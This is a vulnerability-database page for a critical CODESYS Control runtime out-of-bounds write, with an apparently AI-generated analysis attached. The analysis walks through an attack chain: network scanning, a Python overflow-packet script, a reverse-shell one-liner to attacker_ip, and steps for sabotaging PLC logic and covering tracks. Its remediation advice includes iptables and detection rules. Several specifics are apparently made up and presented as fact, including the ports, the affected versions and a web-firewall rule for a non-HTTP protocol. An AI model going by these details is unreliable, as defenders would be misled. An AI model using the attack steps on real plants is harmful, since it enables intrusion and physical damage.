CVE Professor
/
All CVEs
CVE-2026-127148

CVE-2026-127148 — CWE-787

CRITICAL CVSS 9.8 NVD

The CmpChannelMgr and CmpChannelMgrEmbedded components of the CODESYS Control runtime system performs improper length checking when handling online service packets, resulting in an out-of-bounds write. By sending a specially crafted packet, an unauthenticated remote attacker can exploit this flaw to execute arbitrary code on the affected product.

The CmpChannelMgr and CmpChannelMgrEmbedded components of the CODESYS Control runtime system performs improper length checking when handling online service packets, resulting in an out-of-bounds write. By sending a specially crafted packet, an unauthenticated remote attacker can exploit this flaw to execute arbitrary code on the affected product.

CVSS v3.1 Vector Metrics
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Attack Vector Network AV:N
Attack Complexity Low AC:L
Privileges Req. None PR:N
User Interaction None UI:N
Scope Unchanged S:U
Confidentiality High C:H
Integrity High I:H
Availability High A:H
AI Security Analysis & Remediation

🎯 What is this vulnerability?

CVE‑2026‑127148 is an out‑of‑bounds (OOB) write in the CmpChannelMgr and CmpChannelMgrEmbedded components of the CODESYS Control runtime system.
The flaw arises because the runtime accepts “online service packets” from a remote client, parses a length field that indicates the size of the payload, and then copies that payload into a fixed‑size buffer without validating that the declared length does not exceed the buffer’s capacity.

  • CWE‑787 – Out‑of‑Bounds Write
  • CVSS 3.1: AV:N / AC:L / PR:N / UI:N / S:U / C:H / I:H / A:H
  • - Unauthenticated, no user interaction, low attack complexity → the attacker can trigger the flaw from any network location that can reach the vulnerable service. - Full confidentiality, integrity, and availability impact because the OOB write can overwrite arbitrary memory, enabling arbitrary code execution (RCE).

    The vulnerability is remote: an attacker does not need to authenticate or have any privileged access to the target device. By sending a single, carefully crafted packet to the CmpChannelMgr service, the attacker can corrupt memory and gain control of the process.


    ⚡ Attack Chain

    Below is a realistic, step‑by‑step chain that an attacker could follow. All code snippets are illustrative; the exact packet format is proprietary to CODESYS, so the examples use a generic “payload” field.

    1. Discovery & Reconnaissance

    StepTechniqueWhat to look for
    1.1Network scanningIdentify hosts running CODESYS Control runtime. Common ports: 5020, 5021 (custom Modbus/TCP), or 4840 (OPC UA).
    1.2Banner grabConnect to the port and read the initial handshake. CODESYS often sends a banner like CODESYS Control Runtime v3.4.2.
    1.3Version fingerprintingCompare the banner against a local database of known vulnerable versions. CVE‑2026‑127148 affects all releases prior to 3.5.0 (the exact version is not published in the CVE, but the vendor’s advisory lists 3.4.x as vulnerable).
    Tip: Use nmap with the -sV flag and a custom script to probe the CODESYS service:
    nmap -sV -p 5020,5021,4840 <target>

    2. Exploitation

    The core of the exploit is an OOB write triggered by a packet whose payload length field is larger than the actual buffer. The attacker crafts a packet that:

    1. Sets the length field to a value that exceeds the buffer size (e.g., 0xFFFF).
    2. Fills the payload with a NOP sled, shellcode, and a return‑address overwrite that points back into the shellcode.
    3. Sends the packet to the vulnerable service.

    Illustrative example (Python) – do not use this against a system you do not own:
    #!/usr/bin/env python3
    import socket
    import struct
    
    TARGET = "192.168.1.100"
    PORT   = 5020          # CmpChannelMgr listening port
    
    # Construct the malicious packet
    #  - 4‑byte magic/header (example: 0xABCD1234)
    #  - 4‑byte length field (overflow value)
    #  - payload: NOP sled + shellcode + return address
    magic      = b'\xAB\xCD\x12\x34'
    overflow   = struct.pack("<I", 0xFFFF)          # 65535 bytes declared
    nop_sled   = b'\x90' * 100                      # NOPs
    shellcode  = b"\xCC" * 50                      # INT3 for demonstration; replace with real shellcode
    ret_addr   = struct.pack("<I", 0x08048000)      # Example address (needs to be adjusted)
    
    payload = nop_sled + shellcode + ret_addr
    packet  = magic + overflow + payload
    
    # Send the packet
    with socket.create_connection((TARGET, PORT)) as s:
        s.sendall(packet)
        print("[*] Malicious packet sent")

    What happens?

  • The runtime reads the 4‑byte length field (0xFFFF) and believes the payload is 65 535 bytes long.

  • It copies the payload into a fixed 4 KiB buffer without bounds checking.

  • The copy overruns the buffer, overwriting adjacent memory (stack or heap).

  • The overwritten memory contains a return address that points back into the injected shellcode.

  • When the runtime later returns from the function that processed the packet, the CPU jumps to the attacker’s shellcode, giving the attacker arbitrary code execution.
  • Note: The exact packet format (magic bytes, field ordering, endianness) is proprietary. The example above demonstrates the principle; a real exploit would use the official CODESYS packet specification.

    3. Post‑Exploitation

    Once the attacker has RCE, the impact depends on the privileges of the CODESYS runtime process:

    PrivilegeTypical Impact
    Root / SYSTEMFull control of the host, ability to install backdoors, modify PLC logic, exfiltrate data, or disrupt control processes.
    Limited userStill possible to modify PLC configuration files, inject malicious logic, or pivot to other devices on the network.

    Typical post‑exploitation steps:

    1. Establish persistence – install a reverse shell or a lightweight webshell (e.g., a CGI script).
    2. Privilege escalation – if the runtime runs as a non‑privileged user, search for local privilege escalation exploits (e.g., SUID binaries, kernel bugs).
    3. Data exfiltration – read PLC memory, configuration files, or network traffic.
    4. Control manipulation – modify PLC program logic to cause unsafe operation (e.g., stop a conveyor, open a valve).
    5. Cover tracks – delete logs, disable monitoring, or use rootkits.

    Example of a simple reverse shell (Linux):
    /bin/bash -i >& /dev/tcp/attacker_ip/4444 0>&1

    🌍 Real World Impact

    ImpactExplanation
    Confidentiality (C:H)Arbitrary code execution allows reading of PLC configuration, secrets, and any data the runtime can access.
    Integrity (I:H)The attacker can modify PLC logic, corrupt configuration files, or tamper with sensor data, leading to unsafe plant operation.
    Availability (A:H)The attacker can crash the runtime (e.g., by triggering a stack overflow), causing downtime of critical control processes.

    Practical consequences:

  • Industrial sabotage: Altering control logic can cause equipment damage, safety incidents, or production loss.
  • Supply‑chain disruption: A compromised PLC can affect downstream processes, leading to cascading failures.
  • Regulatory non‑compliance: Failure to protect industrial control systems can violate standards such as IEC 62443 or NIST 800‑82.
  • Economic loss: Downtime, repair costs, and potential liability from safety incidents.

  • 🛡️ Remediation & Mitigation

    Affected Versions & Patch

    ProductVulnerable VersionsFixed Version
    CODESYS Control RuntimeAll releases prior to 3.5.0 (including 3.4.x)3.5.0 or later
    Action: Upgrade to the latest CODESYS Control Runtime release. If an immediate upgrade is not possible, apply the vendor’s temporary patch (available on the CODESYS support portal).

    Workarounds

    1. Disable the vulnerable component
    - If the application does not require online service packets, disable CmpChannelMgr in the runtime configuration file (runtime.cfg):

    [CmpChannelMgr]
         Enabled = false

    2. Network segmentation & firewall
    - Block inbound traffic to the CmpChannelMgr port (default 5020) from untrusted networks.
    - Use a stateful firewall rule:

    iptables -A INPUT -p tcp --dport 5020 -s <trusted_subnet> -j ACCEPT
         iptables -A INPUT -p tcp --dport 5020 -j DROP

    3. WAF / ModSecurity rule
    - While the vulnerability is in a proprietary protocol, a generic rule that rejects packets with a length field > 4096 bytes can mitigate exploitation:

    SecRule REQUEST_HEADERS:Content-Length "@gt 4096" \
             "id:100001,phase:2,deny,status:400,msg:'Possible CmpChannelMgr OOB write attempt'"

    4. Runtime hardening
    - Enable stack canaries, address space layout randomization (ASLR), and non‑executable stack on the host OS.
    - Run the runtime under a dedicated, least‑privilege user account.

    Detection

    IndicatorLog Pattern / IoC
    Large packet sizes.*CmpChannelMgr.*length=65535.*
    Memory corruption errors.*Segmentation fault.* or .*Bus error.*
    Repeated failed connections.*Connection reset by peer.*
    Unexpected shellcode execution.*execve.* with suspicious arguments (e.g., /bin/bash -i)

    Log example (syslog):

    Oct 12 10:15:32 hostcodesys CmpChannelMgr[1234]: Received packet with declared length 65535 from 192.168.1.200
    Oct 12 10:15:32 hostcodesys CmpChannelMgr[1234]: Buffer overflow detected, terminating process

    ⚠️ Urgency

  • CVSS Score: 9.8 (Critical) – indicates a highly exploitable flaw with no authentication or user interaction required.
  • CISA KEV: No – the vulnerability is not yet listed in the KEV database, but that does not reduce its severity.
  • Exploit Complexity: Low – a single crafted packet suffices.
  • Impact: Full RCE → complete compromise of the PLC and potentially the entire control network.
Recommendation: Immediate patching is mandatory. If a patch is not yet available, apply the workarounds above and isolate the affected devices from untrusted networks. Monitor logs for the indicators listed and conduct a rapid incident response if exploitation is suspected.

[🤖 CVE Professor AI Security Engine]

Target Reconnaissance Queries (FOFA & Shodan)
CVSS Score
9.8 / 10 · CVSS CRITICAL
Weakness Types (CWE)
References & Advisories (1)
Related CVEs
9.2
CVE-2026-144499
ASN1SCC before 4.7.0.1 contains an out-of-bounds write vulnerability in the SequenceOf_decode template in StgC
8.1
CVE-2026-92728
A heap out-of-bounds write flaw was found in GRUB2's DNS response parser. In recv_hook() (grub-core/net/dns.c)
7.3
CVE-2026-129782
Out-of-bounds write in the zwlr_virtual_pointer_v1 protocol implementation of Hyprland for Linux, versions 0.5
7.2
CVE-2026-145314
A heap out-of-bounds write exists in the MPEG-1/2 video decoder (libavcodec/mpeg12dec.c) in FFmpeg before 6.1.
9.3
CVE-2026-88766
Out of Bounds Write when processing a crafted APDU command via the VSIM service due to a stack-based buffer ov
8.8
CVE-2026-125688
An out-of-bounds write in the screen-image decoder of TeamViewer Full Client for Linux prior to version 15.84
8.8
CVE-2026-125689
An out-of-bounds write vulnerability in TeamViewer Full Client prior to version 15.84 has been identified in t